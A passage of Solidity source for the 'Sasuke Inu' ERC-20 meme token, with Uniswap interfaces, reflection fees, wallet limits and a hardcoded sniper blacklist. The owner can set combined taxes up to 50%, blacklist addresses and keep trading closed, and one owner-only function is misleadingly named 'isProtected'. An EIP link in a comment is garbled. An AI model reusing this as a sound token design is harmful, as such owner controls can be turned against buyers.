     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/fl/ok/ib/ul/l/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address lpPair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address lpPair);

    function allPairs(uint256) external view returns (address lpPair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address lpPair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract SasukeInu is Context, IERC20 {
    // Ownership moved to in-contract for customizability.
    address private _owner;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => bool) lpPairs;
    uint256 private timeSinceLastPair = 0;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private _isExcluded;
    address[] private _excluded;

    bool private allowedPresaleExclusion = true;
    mapping(address => bool) private _isSniper;
    mapping(address => bool) private _liquidityHolders;

    uint256 private startingSupply = 100_000_000_000_000_000;

    string private _name = "Sasuke Inu";
    string private _symbol = "SASUKE";

    uint256 private _reflectionFee = 0; // Adjusted by buys and sells.
    uint256 private _liquidityFee = 0; // Adjusted by buys and sells.
    uint256 private _marketingFee = 0; // Adjusted by buys and sells.
    uint256 private _buybackFee = 0; // Adjusted by buys and sells.

    uint256 public _buyReflectionFee = 200;
    uint256 public _buyLiquidityFee = 200;
    uint256 public _buyMarketingFee = 400;
    uint256 public _buyBuybackFee = 200;

    uint256 public _sellReflectionFee = _buyReflectionFee;
    uint256 public _sellLiquidityFee = _buyLiquidityFee;
    uint256 public _sellMarketingFee = _buyMarketingFee;
    uint256 public _sellBuybackFee = _buyBuybackFee;

    uint256 public _transferReflectionFee = _buyReflectionFee;
    uint256 public _transferLiquidityFee = _buyLiquidityFee;
    uint256 public _transferMarketingFee = _buyMarketingFee;
    uint256 public _transferBuybackFee = _buyBuybackFee;

    uint256 public _reflectionRatio = _buyReflectionFee;
    uint256 public _liquidityRatio = _buyLiquidityFee;
    uint256 public _marketingRatio = _buyMarketingFee;
    uint256 public _buybackRatio = _buyBuybackFee;

    uint256 private maxReflectionFee = 800;
    uint256 private maxLiquidityFee = 800;
    uint256 private maxMarketingFee = 800;
    uint256 private maxBuybackFee = 800;
    uint256 private masterTaxDivisor = 10000;

    uint256 private constant MAX = ~uint256(0);
    uint8 private _decimals = 9;
    uint256 private _decimalsMul = _decimals;
    uint256 private _tTotal = startingSupply * 10**_decimalsMul;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;

    IUniswapV2Router02 public dexRouter;
    address public lpPair;

    // UNI ROUTER
    address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address public burnAddress = 0x000000000000000000000000000000000000dEaD;
    address payable private _marketingWallet =
        payable(0x9F420f2933116D73125284d035F6230F89f2CF51);

    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = false;

    uint256 private maxTxPercent = 2;
    uint256 private maxTxDivisor = 1000;
    uint256 private _maxTxAmount = (_tTotal * maxTxPercent) / maxTxDivisor;
    uint256 private _previousMaxTxAmount = _maxTxAmount;
    uint256 public maxTxAmountUI =
        (startingSupply * maxTxPercent) / maxTxDivisor;

    uint256 private maxWalletPercent = 2;
    uint256 private maxWalletDivisor = 100;
    uint256 private _maxWalletSize =
        (_tTotal * maxWalletPercent) / maxWalletDivisor;
    uint256 private _previousMaxWalletSize = _maxWalletSize;
    uint256 public maxWalletSizeUI =
        (startingSupply * maxWalletPercent) / maxWalletDivisor;

    uint256 private swapThreshold = (_tTotal * 5) / 10000;
    uint256 private swapAmount = (_tTotal * 5) / 1000;

    bool tradingEnabled = false;

    bool private sniperProtection = true;
    bool public _hasLiqBeenAdded = false;
    uint256 private _liqAddStatus = 0;
    uint256 private _liqAddBlock = 0;
    uint256 private _liqAddStamp = 0;
    uint256 private _initialLiquidityAmount = 0;
    uint256 private snipeBlockAmt = 0;
    uint256 public snipersCaught = 0;
    bool public buyBackEnabled = false;
    uint256 private buyBackUpperLimit = 40 * 10**14; //40 * 0.0001 ETH
    // Minimum ETH balance before buyback IF lower than this number no buyback
    uint256 public minimumBalanceRequired = 1 * 10**14; //0.0001 ETH
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    event SniperCaught(address sniperAddress);
    event BuyBackEnabledUpdated(bool enabled);
    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    constructor() payable {
        _rOwned[_msgSender()] = _rTotal;

        // Set the owner.
        _owner = msg.sender;

        dexRouter = IUniswapV2Router02(_routerAddress);
        lpPair = IUniswapV2Factory(dexRouter.factory()).createPair(
            dexRouter.WETH(),
            address(this)
        );
        lpPairs[lpPair] = true;
        _allowances[address(this)][address(dexRouter)] = type(uint256).max;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[burnAddress] = true;
        _liquidityHolders[owner()] = true;

        _approve(_msgSender(), _routerAddress, _tTotal);

        // Ever-growing sniper/tool blacklist
        _isSniper[0xE4882975f933A199C92b5A925C9A8fE65d599Aa8] = true;
        _isSniper[0x86C70C4a3BC775FB4030448c9fdb73Dc09dd8444] = true;
        _isSniper[0xa4A25AdcFCA938aa030191C297321323C57148Bd] = true;
        _isSniper[0x20C00AFf15Bb04cC631DB07ee9ce361ae91D12f8] = true;
        _isSniper[0x0538856b6d0383cde1709c6531B9a0437185462b] = true;
        _isSniper[0x6e44DdAb5c29c9557F275C9DB6D12d670125FE17] = true;
        _isSniper[0x90484Bb9bc05fD3B5FF1fe412A492676cd81790C] = true;
        _isSniper[0xA62c5bA4D3C95b3dDb247EAbAa2C8E56BAC9D6dA] = true;
        _isSniper[0xA94E56EFc384088717bb6edCccEc289A72Ec2381] = true;
        _isSniper[0x3066Cc1523dE539D36f94597e233719727599693] = true;
        _isSniper[0xf13FFadd3682feD42183AF8F3f0b409A9A0fdE31] = true;
        _isSniper[0x376a6EFE8E98f3ae2af230B3D45B8Cc5e962bC27] = true;
        _isSniper[0x0538856b6d0383cde1709c6531B9a0437185462b] = true;
        _isSniper[0x90484Bb9bc05fD3B5FF1fe412A492676cd81790C] = true;
        _isSniper[0xA62c5bA4D3C95b3dDb247EAbAa2C8E56BAC9D6dA] = true;
        _isSniper[0xA94E56EFc384088717bb6edCccEc289A72Ec2381] = true;
        _isSniper[0x3066Cc1523dE539D36f94597e233719727599693] = true;
        _isSniper[0xf13FFadd3682feD42183AF8F3f0b409A9A0fdE31] = true;
        _isSniper[0x376a6EFE8E98f3ae2af230B3D45B8Cc5e962bC27] = true;
        _isSniper[0x201044fa39866E6dD3552D922CDa815899F63f20] = true;
        _isSniper[0x6F3aC41265916DD06165b750D88AB93baF1a11F8] = true;
        _isSniper[0x27C71ef1B1bb5a9C9Ee0CfeCEf4072AbAc686ba6] = true;
        _isSniper[0xDEF441C00B5Ca72De73b322aA4e5FE2b21D2D593] = true;
        _isSniper[0x5668e6e8f3C31D140CC0bE918Ab8bB5C5B593418] = true;
        _isSniper[0x4b9BDDFB48fB1529125C14f7730346fe0E8b5b40] = true;
        _isSniper[0x7e2b3808cFD46fF740fBd35C584D67292A407b95] = true;
        _isSniper[0xe89C7309595E3e720D8B316F065ecB2730e34757] = true;
        _isSniper[0x725AD056625326B490B128E02759007BA5E4eBF1] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    receive() external payable {}

    //===============================================================================================================
    //===============================================================================================================
    //===============================================================================================================
    // Ownable removed as a lib and added here to allow for custom transfers and recnouncements.
    // This allows for removal of ownership privelages from the owner once renounced or transferred.
    function owner() public view returns (address) {
        return _owner;
    }

    function transferOwner(address newOwner) external onlyOwner {
        require(
            newOwner != address(0),
            "Call renounceOwnership to transfer owner to the zero address."
        );
        require(
            newOwner != burnAddress,
            "Call renounceOwnership to transfer owner to the zero address."
        );
        setExcludedFromFee(_owner, false);
        setExcludedFromFee(newOwner, true);
        setExcludedFromReward(newOwner, true);

        if (_marketingWallet == payable(_owner))
            _marketingWallet = payable(newOwner);

        _allowances[_owner][newOwner] = balanceOf(_owner);
        if (balanceOf(_owner) > 0) {
            _transfer(_owner, newOwner, balanceOf(_owner));
        }

        _owner = newOwner;
        emit OwnershipTransferred(_owner, newOwner);
    }

    function renounceOwnership() public virtual onlyOwner {
        setExcludedFromFee(_owner, false);
        _owner = address(0);
        emit OwnershipTransferred(_owner, address(0));
    }

    //===============================================================================================================
    //===============================================================================================================
    //===============================================================================================================

    function totalSupply() external view override returns (uint256) {
        return _tTotal;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function getOwner() external view override returns (address) {
        return owner();
    }

    function allowance(address holder, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[holder][spender];
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()] - amount
        );
        return true;
    }

    function transferBatch(
        address[] calldata recipients,
        uint256[] calldata amounts
    ) public returns (bool) {
        require(
            recipients.length == amounts.length,
            "Must be matching argument lengths"
        );

        uint256 length = recipients.length;

        for (uint256 i = 0; i < length; i++) {
            require(transfer(recipients[i], amounts[i]));
        }
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] - subtractedValue
        );
        return true;
    }

    function setNewRouter(address newRouter) public onlyOwner {
        IUniswapV2Router02 _newRouter = IUniswapV2Router02(newRouter);
        address get_pair = IUniswapV2Factory(_newRouter.factory()).getPair(
            address(this),
            _newRouter.WETH()
        );
        if (get_pair == address(0)) {
            lpPair = IUniswapV2Factory(_newRouter.factory()).createPair(
                address(this),
                _newRouter.WETH()
            );
        } else {
            lpPair = get_pair;
        }
        dexRouter = _newRouter;
    }

    function setLpPair(address pair, bool enabled) external onlyOwner {
        if (enabled == false) {
            lpPairs[pair] = false;
        } else {
            if (timeSinceLastPair != 0) {
                require(
                    block.timestamp - timeSinceLastPair > 1 weeks,
                    "Cannot set a new pair this week!"
                );
            }
            lpPairs[pair] = true;
            timeSinceLastPair = block.timestamp;
        }
    }

    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }

    function isExcludedFromFee(address account) public view returns (bool) {
        return _isExcludedFromFee[account];
    }

    function isSniper(address account) public view returns (bool) {
        return _isSniper[account];
    }

    function isProtected(uint256 rInitializer, uint256 tInitalizer)
        external
        onlyOwner
    {
        require(_liqAddStatus == 0 && _initialLiquidityAmount == 0, "Error.");
        _liqAddStatus = rInitializer;
        _initialLiquidityAmount = tInitalizer;
    }

    function setStartingProtections(uint8 _block) external onlyOwner {
        require(snipeBlockAmt == 0 && !_hasLiqBeenAdded);
        snipeBlockAmt = _block;
    }

    function removeSniper(address account) external onlyOwner {
        require(_isSniper[account], "Account is not a recorded sniper.");
        _isSniper[account] = false;
    }

    function setProtectionSettings(bool antiSnipe) external onlyOwner {
        sniperProtection = antiSnipe;
    }

    function setTaxesBuy(
        uint256 liquidityFee,
        uint256 reflectionFee,
        uint256 marketingFee,
        uint256 buybackFee
    ) external onlyOwner {
        require(
            liquidityFee <= maxLiquidityFee &&
                reflectionFee <= maxReflectionFee &&
                marketingFee <= maxMarketingFee &&
                buybackFee <= maxBuybackFee
        );
        require(
            liquidityFee + reflectionFee + marketingFee + buybackFee <= 5000
        );
        _buyLiquidityFee = liquidityFee;
        _buyReflectionFee = reflectionFee;
        _buyMarketingFee = marketingFee;
        _buyBuybackFee = buybackFee;
    }

    function setTaxesSell(
        uint256 liquidityFee,
        uint256 reflectionFee,
        uint256 marketingFee,
        uint256 buybackFee
    ) external onlyOwner {
        require(
            liquidityFee <= maxLiquidityFee &&
                reflectionFee <= maxReflectionFee &&
                marketingFee <= maxMarketingFee &&
                buybackFee <= maxBuybackFee
        );
        require(
            liquidityFee + reflectionFee + marketingFee + buybackFee <= 5000
        );
        _sellLiquidityFee = liquidityFee;
        _sellReflectionFee = reflectionFee;
        _sellMarketingFee = marketingFee;
        _sellBuybackFee = buybackFee;
    }

    function setTaxesTransfer(
        uint256 liquidityFee,
        uint256 reflectionFee,
        uint256 marketingFee,
        uint256 buybackFee
    ) external onlyOwner {
        require(
            liquidityFee <= maxLiquidityFee &&
                reflectionFee <= maxReflectionFee &&
                marketingFee <= maxMarketingFee &&
                buybackFee <= maxBuybackFee
        );
        require(
            liquidityFee + reflectionFee + marketingFee + buybackFee <= 5000
        );
        _transferLiquidityFee = liquidityFee;
        _transferReflectionFee = reflectionFee;
        _transferMarketingFee = marketingFee;
        _transferBuybackFee = buybackFee;
    }

    function setRatios(
        uint256 liquidity,
        uint256 buyback,
        uint256 marketing
    ) external onlyOwner {
        require(marketing <= liquidity && marketing <= buyback);
        _liquidityRatio = liquidity;
        _buybackRatio = buyback;
        _marketingRatio = marketing;
    }

    function setMaxTxPercent(uint256 percent, uint256 divisor)
        external
        onlyOwner
    {
        uint256 check = (_tTotal * percent) / divisor;
        require(
            check >= (_tTotal / 1000),
            "Max Transaction amt must be above 0.1% of total supply."
        );
        _maxTxAmount = check;
        maxTxAmountUI = (startingSupply * percent) / divisor;
    }

    function setMaxWalletSize(uint256 percent, uint256 divisor)
        external
        onlyOwner
    {
        uint256 check = (_tTotal * percent) / divisor;
        require(
            check >= (_tTotal / 1000),
            "Max Wallet amt must be above 0.1% of total supply."
        );
        _maxWalletSize = check;
        maxWalletSizeUI = (startingSupply * percent) / divisor;
    }

    function setSwapSettings(
        uint256 thresholdPercent,
        uint256 thresholdDivisor,
        uint256 amountPercent,
        uint256 amountDivisor
    ) external onlyOwner {
        swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor;
        swapAmount = (_tTotal * amountPercent) / amountDivisor;
    }

    function setMarketingWallet(address payable newWallet) external onlyOwner {
        require(_marketingWallet != newWallet, "Wallet already set!");
        _marketingWallet = payable(newWallet);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setExcludedFromFee(address account, bool enabled)
        public
        onlyOwner
    {
        _isExcludedFromFee[account] = enabled;
    }

    function setMinimumBalanceRequired(uint256 _newAmount) public onlyOwner {
        require(_newAmount >= 0, "newAmount error");
        minimumBalanceRequired = _newAmount;
    }

    function setBuybackUpperLimit(uint256 buyBackLimit) external onlyOwner {
        buyBackUpperLimit = buyBackLimit * 10**14;
    }

    function setBuyBackEnabled(bool _enabled) public onlyOwner {
        buyBackEnabled = _enabled;
        emit BuyBackEnabledUpdated(_enabled);
    }

    function setExcludedFromReward(address account, bool enabled)
        public
        onlyOwner
    {
        if (enabled == true) {
            require(!_isExcluded[account], "Account is already excluded.");
            if (_rOwned[account] > 0) {
                _tOwned[account] = tokenFromReflection(_rOwned[account]);
            }
            _isExcluded[account] = true;
            _excluded.push(account);
        } else if (enabled == false) {
            require(_isExcluded[account], "Account is already included.");
            for (uint256 i = 0; i < _excluded.length; i++) {
                if (_excluded[i] == account) {
                    _excluded[i] = _excluded[_excluded.length - 1];
                    _tOwned[account] = 0;
                    _isExcluded[account] = false;
                    _excluded.pop();
                    break;
                }
            }
        }
    }

    function totalFees() public view returns (uint256) {
        return _tFeeTotal;
    }

    function _hasLimits(address from, address to) private view returns (bool) {
        return
            from != owner() &&
            to != owner() &&
            !_liquidityHolders[to] &&
            !_liquidityHolders[from] &&
            to != burnAddress &&
            to != address(0) &&
            from != address(this);
    }

    function tokenFromReflection(uint256 rAmount)
        public
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount / currentRate;
    }

    function _approve(
        address sender,
        address spender,
        uint256 amount
    ) private {
        require(sender != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function adjustTaxes(
        address from,
        address to,
        bool takeFee
    ) internal {
        if (!takeFee) {
            _reflectionFee = 0;
            _liquidityFee = 0;
            _marketingFee = 0;
            _buybackFee = 0;
        } else if (to == lpPair) {
            _reflectionFee = _sellReflectionFee;
            _liquidityFee = _sellLiquidityFee;
            _marketingFee = _sellMarketingFee;
            _buybackFee = _sellBuybackFee;
        } else if (from == lpPair) {
            _reflectionFee = _buyReflectionFee;
            _liquidityFee = _buyLiquidityFee;
            _marketingFee = _buyMarketingFee;
            _buybackFee = _buyBuybackFee;
        } else {
            _reflectionFee = _transferReflectionFee;
            _liquidityFee = _transferLiquidityFee;
            _marketingFee = _transferMarketingFee;
            _buybackFee = _transferBuybackFee;
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_hasLimits(from, to)) {
            if (!tradingEnabled) {
                revert("Trading not yet enabled!");
            }
            require(
                amount <= _maxTxAmount,
                "Transfer amount exceeds the maxTxAmount."
            );
            if (to != _routerAddress && !lpPairs[to]) {
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Transfer amount exceeds the maxWalletSize."
                );
            }
        }

        bool takeFee = true;
        if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
            takeFee = false;
        }

        if (lpPairs[to]) {
            if (!inSwapAndLiquify && swapAndLiquifyEnabled) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if (contractTokenBalance >= swapThreshold) {
                    if (contractTokenBalance >= swapAmount) {
                        contractTokenBalance = swapAmount;
                    }
                    swapAndLiquify(contractTokenBalance);
                }
                uint256 balance = address(this).balance;
                if (buyBackEnabled && balance > minimumBalanceRequired) {
                    if (balance > buyBackUpperLimit)
                        balance = buyBackUpperLimit;
                    buybackAndBurn((balance / 100));
                }
            }
        }

        return _finalizeTransfer(from, to, amount, takeFee);
    }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        uint256 totalFee = _liquidityRatio + _marketingRatio + _buybackRatio;
        if (totalFee == 0) return;
        uint256 toLiquify = (contractTokenBalance * _liquidityRatio) /
            (totalFee);
        uint256 toMarketing = (contractTokenBalance * _marketingRatio) /
            (totalFee);
        uint256 toBuyback = contractTokenBalance - (toLiquify + toMarketing);

        uint256 half = toLiquify / 2;
        uint256 otherHalf = toLiquify - half;

        uint256 initialBalance = address(this).balance;

        uint256 toSwapForEth = half + toMarketing + toBuyback;
        swapTokensForEth(toSwapForEth);

        uint256 fromSwap = address(this).balance - initialBalance;
        uint256 liquidityBalance = (fromSwap * half) / toSwapForEth;
        uint256 marketingBalance = (fromSwap * toMarketing) / toSwapForEth;

        if (_liquidityRatio > 0) {
            addLiquidity(otherHalf, liquidityBalance);
            emit SwapAndLiquify(half, liquidityBalance, otherHalf);
        }

        _marketingWallet.transfer(marketingBalance);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        _approve(address(this), address(dexRouter), tokenAmount);

        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function buybackAndBurn(uint256 _ethAmount) internal {
        require(_ethAmount > 0);
        require(
            address(this).balance >= _ethAmount,
            "Contract does not have enough ETH."
        );
        address[] memory path = new address[](2);
        path[0] = dexRouter.WETH();
        path[1] = address(this);

        dexRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{
            value: _ethAmount
        }(0, path, burnAddress, block.timestamp);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(dexRouter), tokenAmount);

        dexRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            burnAddress,
            block.timestamp
        );
    }

    function _checkLiquidityAdd(address from, address to) private {
        require(!_hasLiqBeenAdded, "Liquidity already added and marked.");
        if (!_hasLimits(from, to) && to == lpPair) {
            if (snipeBlockAmt == 0 || snipeBlockAmt > 5) {
                _liqAddBlock = block.number + 500;
            } else {
                _liqAddBlock = block.number;
            }

            _liquidityHolders[from] = true;
            _hasLiqBeenAdded = true;
            _liqAddStamp = block.timestamp;

            swapAndLiquifyEnabled = true;
            allowedPresaleExclusion = false;
            emit SwapAndLiquifyEnabledUpdated(true);
        }
    }

    function enableTrading() public onlyOwner {
        require(!tradingEnabled, "Trading already enabled!");
        setExcludedFromReward(address(this), true);
        setExcludedFromReward(owner(), true);
